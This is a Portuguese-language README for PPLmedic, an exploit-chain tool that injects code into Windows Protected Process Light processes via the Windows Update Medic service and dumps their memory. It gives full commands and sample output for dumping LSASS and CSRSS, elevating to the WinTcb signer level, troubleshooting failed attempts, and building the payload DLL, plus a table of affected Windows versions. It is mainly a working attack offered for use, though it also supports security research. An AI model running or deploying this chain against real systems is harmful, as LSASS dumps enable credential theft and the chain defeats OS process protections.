
Despejar a memória de qualquer PPL com uma cadeia de exploits em Userland.
Esta ferramenta implementa uma cadeia de exploração Userland para injetar código arbitrário em um PPL com o tipo de signer Windows e elevar para o tipo de signer WinTcb. Essas técnicas foram originalmente discutidas por James Forshaw (a.k.a. @tiraniddo) em sua postagem no blog Injecting Code into Windows Protected Processes using COM - Part 1.
Para saber mais sobre esta ferramenta, leia a postagem complementar no blog aqui:
Eu classificaria esta ferramenta como um Proof-of-Concept avançado. Você deve pensar duas vezes antes de usá-la em um trabalho real. É segura de usar desde que não seja interrompida, o que não pode ser garantido na presença de um EDR, por exemplo.
Ela modifica chaves de registro importantes relacionadas ao serviço Windows Update Medic. Na pior das hipóteses, se essas chaves de registro não forem restauradas corretamente, esse serviço deixará de funcionar corretamente, mas isso não derrubará o SO.
Pré-requisitos:
SeDebugPrivilegeREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
Efetuar o dump de um PPL-Windows ou inferior (ex.: LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
Efetuar o dump de um PPL-WinTcb (ex.: CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
Você recebe o seguinte erro porque o exploit excedeu o tempo limite ao tentar criar um objeto COM TaskHandler remoto. Isso geralmente é um sinal de que o serviço de destino WaaSMedicSvc travou. Isso pode ser confirmado com a próxima mensagem: [!] Service WaaSMedicSvc is no longer running. Você deve tentar executar a ferramenta novamente.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
Você recebe o seguinte erro porque o exploit falhou ao escrever um diretório de objetos válido em menos de 1000 tentativas. Esse limite serve como uma proteção para impedir que o serviço de destino consuma recursos demais. Você deve tentar executar a ferramenta novamente.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
Você recebe o seguinte erro porque ocorreu um erro inesperado ao chamar LaunchDetectionOnly ou LaunchRemediationOnly. No entanto, isso deve ser bastante raro. Você deve tentar executar a ferramenta novamente.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
Você recebe o seguinte erro porque o exploit falhou em realizar o cache sign da DLL do payload. O oplock definido no arquivo de catálogo provavelmente nunca foi acionado porque ele já havia sido aberto pelo Kernel. Você pode tentar executar a ferramenta novamente mais tarde (para Windows 11, consulte a seção "Testes").
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
Esta solução do Visual Studio contém dois projetos (o executável e uma DLL de payload) que precisam ser compilados em uma ordem específica. Tudo está pré-configurado, então basta seguir estas instruções simples. A DLL de payload compilada é embutida automaticamente no executável final.
Release / x64 (x86 não é suportado!).Build > Build Solution.| Versão do Windows | PPL-Windows | PPL-WinTcb | Observação |
|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | Falha frequente do serviço + o exploit de assinatura de cache falsa não parece funcionar. |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |